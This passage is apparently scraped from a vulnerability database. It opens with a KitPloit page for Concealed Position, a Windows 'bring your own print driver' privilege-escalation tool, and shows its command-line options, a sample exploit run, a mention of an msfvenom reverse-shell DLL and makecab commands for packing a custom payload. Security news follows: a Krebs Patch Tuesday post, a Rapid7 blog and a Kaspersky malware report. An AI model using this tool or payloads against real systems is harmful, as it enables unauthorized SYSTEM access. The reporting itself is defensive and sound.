|___| |_______||_| |__| client! \n \n CLI options: \n -h, --help Display the help message \n -r, --rhost arg The remote evil printer address \n -n, --name arg The remote evil printer name \n -e, --exploit arg The exploit to use \n -l, --local No remote printer. Local attack only. \n -d, --dll arg Path to user provided DLL to execute. \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n \n\nFirst, I'd like to address the --dll option. The client has an embedded payload that will simply write the C:\\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we'll just assume the embedded payload.\n\n`cp_client` has two modes: remote and local. The remote option is the most interesting because it adds the [vulnerable driver](<https://www.kitploit.com/search/label/Vulnerable%20Driver> \"vulnerable driver\" ) to the driver store (thus executing the bring your own print driver vulnerability), so we'll go with that first. Let's say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide:\n\n 1. The exploit I want to use\n 2. The evil printer IP address\n 3. The name of the evil shared printer\n\nLike this!\n \n \n C:\\Users\\albinolobster\\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_ | ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n [+] Checking if driver is already installed \n [-] Driver is not available. \n [+] Call back to evil printer @ \\\\10.0.0.9\\ACIDDAMAGE \n [+] Staging driver in driver store \n [+] Installing the staged driver \n [+] Driver installed! \n [+] Starting AcidDamage \n [+] Checking if C:\\ProgramData\\Lexmark Universal v2\\ exists \n [-] Target directory doesn't exist.

You can just use the UI or the command line to connect to the remote printer and that's it! Unfortunately, if you want to roll a custom payload you'll need to update the CAB in the cab_files directory. But that's easy. Something like this:\n \n \n echo \u201cevil.dll\u201d \u201c../../evil.dll\u201d > files.txt \n makecab /f files.txt \n move disk1/1.cab exploit.cab \n \n\nIt's probably important to know that the version of `SLASHINGDAMAGE` in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\\result.txt file.\n\n \n**Pull Requests and Bugs** \n\n\nDo you want to submit a pull request or file a bug? Great! I appreciate that, but if you don't provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I'll close your issue without comment. I appreciate you, but I'm also pretty busy.\n\n \n**Other things** \n\n\nOne thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you'll need to manually update the C array as well (just use xxd to generate the array).\n\n \n \n\n\n**[Download Concealed_Position](<https://github.com/jacob-baines/concealed_position> \"Download Concealed_Position\" )**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-18T11:30:00", "type": "kitploit", "title": "Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19363", "CVE-2020-1300", "CVE-2021-34481", "CVE-2021-35449", "CVE-2021-38085"], "modified": "2021-09-18T11:30:00", "id": "KITPLOIT:1358590931647264988", "href": "http://www.kitploit.com/2021/09/concealed-position-bring-your-own-print.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2021-08-21T10:08:03", "description": "**Microsoft** today released software updates to plug at least 44 security vulnerabilities in its **Windows** operating systems and related products. The software giant warned that attackers already are pouncing on one of the flaws, which ironically enough involves an easy-to-exploit bug in the software component responsible for patching **Windows 10** PCs and **Windows Server 2019** machines.\n\n\n\nMicrosoft said attackers have seized upon [CVE-2021-36948](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36948>), which is a weakness in the **Windows Update Medic** service. Update Medic is a new service that lets users repair Windows Update components from a damaged state so that the device can continue to receive updates.\n\nRedmond says while CVE-2021-36948 is being actively exploited, it is not aware of exploit code publicly available. The flaw is an &quot;elevation of privilege&quot; vulnerability that affects Windows 10 and **Windows Server 2019**, meaning it can be leveraged in combination with another vulnerability to let attackers run code of their choice as administrator on a vulnerable system.\n\n&quot;CVE-2021-36948 is a privilege escalation vulnerability - the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts,&quot; said **Kevin Breen** of [Immersive Labs](<https://www.immersivelabs.com>). &quot;In the case of ransomware attacks, they have also been used to ensure maximum damage.&quot;\n\nAccording to Microsoft, critical flaws are those that can be exploited remotely by malware or malcontents to take complete control over a vulnerable Windows computer -- and with little to no help from users. Top of the heap again this month: Microsoft also took another stab at fixing a broad class of weaknesses in its printing software.\n\nLast month, the company rushed out an emergency update to patch &quot;[PrintNightmare](<https://krebsonsecurity.com/2021/07/microsoft-issues-emergency-patch-for-windows-flaw/>)&quot; -- a critical hole in its Windows Print Spooler software that was being attacked in the wild. Since then, a number of researchers have discovered holes in that patch, allowing them to circumvent its protections.\n\nToday&#x27;s Patch Tuesday fixes another critical Print Spooler flaw ([CVE-2021-36936](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36936>)), but it&#x27;s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own, said **Dustin Childs** at **Trend Micro&#x27;s Zero Day Initiative**.\n\n&quot;Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this Critical-rated bug,&quot; Childs said.\n\nMicrosoft said the Print Spooler patch it is pushing today should address all publicly documented security problems with the service.\n\n&quot;Today we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges,&quot; Microsoft said in a blog post. &quot;This change may impact Windows print clients in scenarios where non-elevated users were previously able to add or update printers. However, we strongly believe that the security risk justifies the change. This change will take effect with the installation of the security updates released on August 10, 2021 for all versions of Windows, and is documented as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>).&quot;\n\nAugust brings yet another critical patch ([CVE-2021-34535](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34535>)) for the **Windows Remote Desktop** service, and this time the flaw is in the Remote Desktop client instead of the server.\n\n[CVE-2021-26424](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26424>) -- a scary, critical bug in the **Windows TCP/IP** component -- earned a CVSS score of 9.9 (10 is the worst), and is present in **Windows 7** through **Windows 10**, and Windows Server 2008 through 2019 (Windows 7 is no longer being supported with security updates).\n\nMicrosoft said it was not aware of anyone exploiting this bug yet, although the company assigned it the label &quot;exploitation more likely,&quot; meaning it may not be difficult for attackers to figure out. CVE-2021-26424 could be exploited by sending a single malicious data packet to a vulnerable system.\n\nFor a complete rundown of all patches released today and indexed by severity, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+August+2021+Patch+Tuesday/27736/>) from the **SANS Internet Storm Center**. And it&#x27;s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/2021/defcon-2-august-updates-include-print-spooler-fixes/>) usually has the lowdown on any patches that are causing problems for Windows users.\n\nOn that note, before you update _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nIf you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a decent chance other readers have experienced the same and may chime in here with useful tips.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:12:58", "type": "krebs", "title": "Microsoft Patch Tuesday, August 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26424", "CVE-2021-34481", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-10T21:12:58", "id": "KREBS:AE87E964E683A56CFE4E51E96F3530AD", "href": "https://krebsonsecurity.com/2021/08/microsoft-patch-tuesday-august-2021-edition/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-08-25T01:34:04", "description": "\n\n_See the `Updates` section at the end of this post for new information as it comes to light._\n\nWhether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks\u2019 brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The \u201chacker summer camp\u201d conferences frequently also highlight attack surface area that may _not_ be net-new \u2014 but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7\u2019s summaries [here](<https://www.rapid7.com/blog/post/2021/08/05/black-hat-recap-1/>) and [here](<https://www.rapid7.com/blog/post/2021/08/06/black-hat-recap-2/>).\n\nHere\u2019s the specific attack surface area and a few of the exploit chains we\u2019re keeping our eye on right now:\n\n * Orange Tsai stole the show (as always) at Black Hat with a talk on fresh **Microsoft Exchange** attack surface area. All in all, Orange discussed CVEs from [what appears to be four separate attack chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) \u2014including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack [back in March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) and the \u201cProxyShell\u201d exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.\n * Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both [new Windows Print Spooler vulnerabilities](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the \u201cPrintNightmare\u201d vulnerability from several weeks ago, it\u2019s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.\n * There\u2019s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention \u2014 the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn\u2019t completely fade away \u2014 despite the fact that it\u2019s authenticated and requires admin access. With CISA\u2019s warnings about APT attacks against Pulse Connect Secure devices, it\u2019s probably wise to patch CVE-2021-22937 quickly.\n * And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that [abuse Active Directory Certificate Services](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>) \u2014 something we covered previously in our summary of the [PetitPotam attack chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>). This is neat research for red teams, and it may well show up on blue teams\u2019 pentest reports.\n\n### Microsoft Exchange ProxyShell chain\n\n**Patches:** Available \n**Threat status:** Possible threat (at least one report of exploitation in the wild)\n\nIt goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed \u201cProxyShell,\u201d allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., [CVE-2021-26855](<https://attackerkb.com/assessments/a5c77ede-3824-4176-a955-d6cf9a6a7417>) and [CVE-2021-27065](<https://attackerkb.com/assessments/74177979-e2ef-4078-9f91-993964292cfa>)), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.\n\nTwo of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it\u2019s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:\n\n\n\nWe strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven\u2019t patched yet, you should do so immediately on an emergency basis.\n\nOne gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the [most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>), so it\u2019s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.\n\nProxyShell CVEs:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n * [CVE-2021-34523\u200b](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n### Windows Print Spooler \u2014 and more printer woes\n\n**Patches:** Varies by CVE, mostly available \n**Threat status:** Varies by CVE, active and impending\n\nThe Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher [Jacob Baines](<https://twitter.com/Junior_Baines>). Of this last group, one vulnerability \u2014 CVE-2021-38085 \u2014 remains unpatched.\n\nOn August 11, 2021, Microsoft assigned [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible.

As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.\n\n### Pulse Connect Secure CVE-2021-22937\n\n**Patch:** Available \n**Threat status:** Impending (Exploitation expected soon)\n\nOn Monday, August 2, 2021, Ivanti published [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user `root`.\n\nPublic proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for [CVE-2020-8260](<https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/%E2%80%8B%E2%80%8Bhttps://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=search#vuln-details>), an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the [Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year\u2019s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.\n\n### PetitPotam: Windows domain compromise\n\n**Patches:** Available \n**Threat status:** Threat (Exploited in the wild)\n\nIn July 2021, security researcher [Topotam](<https://github.com/topotam>) published a [PoC implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: &quot;This attack is too easy.&quot; You can read Rapid7\u2019s full blog post [here](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>).\n\nOn August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated.\n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks.

Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs&#x27; client businesses. REvil&#x27;s original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.\n\nFollowing this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. [According to](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-August-4th-2021>) Kaseya, it &quot;did not pay a ransom \u2014 either directly or indirectly through a third party&quot;. Later [it emerged](<https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html>) that the company got the decryptor and the key from the FBI.\n\nBut already in the first half of September, REvil was up and running again. [According to](<https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/>) the hacking forum XSS, the group&#x27;s former public representative known as UNKN &quot;disappeared&quot;, and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.\n\n#### The arrival of BlackMatter: DarkSide restored?\n\nAs we already wrote in our Q2 report, the group DarkSide folded its operations after their &quot;too high-profile&quot; attack on Colonial Pipeline. And now there is a &quot;new&quot; arrival known as BlackMatter, which, as its members [claim](<https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil>), represents the &quot;best&quot; of DarkSide, REvil and LockBit.\n\nFrom our analysis of the BlackMatter Trojan&#x27;s executable we conclude that most likely it was built using DarkSide&#x27;s source codes.\n\n#### Q3 closures\n\n * Europol and the Ukrainian police have [arrested](<https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol's-support>) two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to \u20ac5 to \u20ac70 million.\n * Following its attack on Washington DC&#x27;s Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan&#x27;s source code, build tools and keys for some of the victims.\n * At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims&#x27; info from their portal and published the master key for decryption. The group gave no reasons for this course of action.\n\n#### Exploitation of vulnerabilities and new attack methods\n\n * The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.\n * Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).\n * The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim&#x27;s network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.\n * The group Conti also used ProxyShell exploits for its attacks.\n\n### Number of new ransomware modifications\n\nIn Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q3 2020 \u2014 Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150433/03-en-ru-es-malware-report-q3-2021-pc-graphs.png>))_\n\n## Number of users attacked by ransomware Trojans\n\nIn Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150459/04-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150535/05-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.98 \n2 | Uzbekistan | 0.59 \n3 | Bolivia | 0.55 \n4 | Pakistan | 0.52 \n5 | Myanmar | 0.51 \n6 | China | 0.51 \n7 | Mozambique | 0.51 \n8 | Nepal | 0.48 \n9 | Indonesia | 0.47 \n10 | Egypt | 0.45 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n## Top 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 27.67% \n2 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 17.37% \n3 | WannaCry | Trojan-Ransom.Win32.Wanna | 11.84% \n4 | (generic verdict) | Trojan-Ransom.Win32.Gen | 7.78% \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.58% \n6 | (generic verdict) | Trojan-Ransom.Win32.Phny | 5.57% \n7 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.65% \n8 | (generic verdict) | Trojan-Ransom.Win32.Agent | 2.04% \n9 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.07% \n10 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.04% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.\n\n_Number of new miner modifications, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150605/06-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Number of users attacked by miners\n\nIn Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.\n\n_Number of unique users attacked by miners, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150635/07-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150710/08-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 2.41 \n2 | Rwanda | 2.26 \n3 | Myanmar | 2.22 \n4 | Uzbekistan | 1.61 \n5 | Ecuador | 1.47 \n6 | Pakistan | 1.43 \n7 | Tanzania | 1.40 \n8 | Mozambique | 1.34 \n9 | Kazakhstan | 1.34 \n10 | Azerbaijan | 1.27 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\n### Quarter highlights\n\nMuch clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: [CVE-2021-1640](<https://nvd.nist.gov/vuln/detail/CVE-2021-1640>), [CVE-2021-26878](<https://nvd.nist.gov/vuln/detail/CVE-2021-26878>), [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>), [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>), [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>). All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.\n\nThe vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer \u2014 or even a domain controller \u2014 provided the Active Directory certificate service is present and active.\n\nIn the newest OS Windows 11, even before its official release, the vulnerability [CVE-2021-36934](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.\n\nIn Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle ([CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>), [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195>), [CVE-2021-31196](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>)). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered [similar vulnerabilities](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) \u2014 for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.\n\nAs before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server ([CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability [CVE-2021-22937](<https://nvd.nist.gov/vuln/detail/CVE-2021-22937>), which however requires the administrator password for it to be exploited.\n\n### Statistics\n\nAs before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers&#x27; job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.\n\nThe way individual Microsoft Office vulnerabilities are ranked by the number of detections does not 